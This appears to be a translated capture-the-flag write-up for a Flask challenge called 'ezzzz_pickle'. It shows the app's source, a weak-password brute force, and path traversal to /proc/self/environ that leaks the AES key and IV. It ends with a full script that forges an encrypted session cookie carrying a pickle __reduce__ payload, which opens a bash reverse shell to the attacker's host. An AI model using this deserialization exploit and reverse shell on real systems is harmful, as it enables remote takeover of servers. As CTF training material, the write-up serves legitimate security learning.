Total 8920 characters, estimated reading time: 23 minutes.
Reminder: This article was last updated on May 13, 2026, at 23:20. The information referenced in the text may have changed—please be aware of this!
Title
The title is ezzzz_pickle, affirmations and pickle Modules are related.
This is the source code that broke out after solving the problem:
from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
app = Flask(__name__)
def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
users = {
"admin": "admin123",
}
def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600
}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key,iv=generate_key_iv()
session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')
return session
def dowload_file(filename):
path=os.path.join("static",filename)
with open(path, 'rb') as f:
data=f.read().decode('utf-8')
return data
def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
pickled_data=base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)
if session_data["username"] !="admin":
return False
return session_data if session_data["expires"] > time.time() else False
except:
return False
@app.route("/",methods=['GET','POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data=""
filename=request.form.get("filename")
if(filename):
data=dowload_file(filename)
return render_template("index.html",name=session['username'],file_data=data)
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html",error="Invalid username or password")
return render_template("login.html")
@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp
if __name__ == "__main__":
app.run(host="0.0.0.0",debug=False)
Ideas
Just entering this topic requires us to enter a user name and password:

Guess should be a weak password, directly use WebCrack Blasting:
git clone https://github.com/yzddmr6/WebCrack
cd WebCrack
pip install -r requirements.txt
python3 webcrack.py

Get username and password respectively admin and admin123. Continue Login:

<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hello Page</title>
</head>
<body>
<h1>Hello, admin!</h1>
<!-- hint:session_pickle -->
<h1></h1>
<form method="POST" action="/">
<input type="hidden" name="filename" value="fake_flag.txt">
<button type="submit" class="btn btn-login">读取flag</button>
</form>
</body>
</html>
Note that <!-- hint:session_pickle -->, prompting us to use pickle deserialization injection session. Take a closer look <input type="hidden" name="filename" value="fake_flag.txt">There seems to be a file reading vulnerability.
Will value="fake_flag.txt" Changed value="/proc/self/environ" You can return the environment variables of the current program:

PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1
HOSTNAME=38442838d9fb435bPYTHON_VERSION=3.10.16
PWD=/app
HOME=/root
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
FLAG=no_FLAG
SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_iv=asdwdggiouewhgpw
_=/usr/local/bin/flask
OLDPWD=/
According PWD=/app It is known that the program reads in this directory. /app/app.py You can get the source code:
from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
app = Flask(__name__)
def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
users = {
"admin": "admin123",
}
def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600
}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key,iv=generate_key_iv()
session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')
return session
def dowload_file(filename):
path=os.path.join("static",filename)
with open(path, 'rb') as f:
data=f.read().decode('utf-8')
return data
def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
pickled_data=base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)
if session_data["username"] !="admin":
return False
return session_data if session_data["expires"] > time.time() else False
except:
return False
@app.route("/",methods=['GET','POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data=""
filename=request.form.get("filename")
if(filename):
data=dowload_file(filename)
return render_template("index.html",name=session['username'],file_data=data)
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html",error="Invalid username or password")
return render_template("login.html")
@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp
if __name__ == "__main__":
app.run(host="0.0.0.0",debug=False)
Section Line 76 will appear pickle The deserialization vulnerability of, but here the program first decrypts (first AES Decryption (Line 72 ) again BASE64 decryption (Line 73 )). Therefore, we need to use the environment variable just now. SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv and SECRET_iv=asdwdggiouewhgpw, serialize first:
class User:
def __init__(self):
self.username = "admin"
self.expires = 1941144899
def __reduce__(self):
return eval, ("__import__('os').system('sleep 3')",)
data = User()
print(pickle.dumps(data))
The print is pickle Will User The raw data after serialization of the class. On deserialization,pickle will be executed automatically reduce The method inside will cause a loophole in the execution of arbitrary commands. This loophole is very dangerous! Then we can encrypt the data according to the procedure just now, and we can get dangerous session:
import base64
import pickle
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
if __name__ == "__main__":
def generate_key_iv():
key = "ajwdopldwjdowpajdmslkmwjrfhgnbbv".encode()
iv = "asdwdggiouewhgpw".encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode="encrypt"):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == "encrypt":
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == "decrypt":
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = (
decryptor.update(encrypted_data_bytes) + decryptor.finalize()
)
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
class User:
def __init__(self):
self.username = "admin"
self.expires = 1941144899
def __reduce__(self):
# 任意命令执行
return eval, (
"__import__('os').system(\"bash -c 'exec bash -i >& /dev/tcp/你的IP/你的端口 0>&1 2>&1'\")",
)
data = User()
# 序列化数据
pickled_data = pickle.dumps(data)
# BASE64加密
pickled_data = base64.b64encode(pickled_data).decode("utf-8")
# 根据源程序的AES加密
key, iv = generate_key_iv()
session = aes_encrypt_decrypt(pickled_data, key, iv, mode="encrypt")
# 结果
print(session)
Place the resulting results in the browser's Cookie Inside, refresh the page:

I rebounded directly here bash Give my host, get control:

Final Payload
jn4MYzY+mUVADRPVP3QhdKEwsCduzFuRhsCVSMgVpa6kjJo9HlI+/MmfCPM6vLgn6aUgm0saMuRsTnCGStWKWYsdkTCHvu4cIwvJW8PwfY3ajE1KxmtkTUQkH0DywE73zKilTzL93ueiyLRNwAJcyQrlffpl/q0fH99r7/Z8JsODdpsGPh8ue9xW0k+h8cxgSIqleTvAvRjv7uE+VY2g2g==
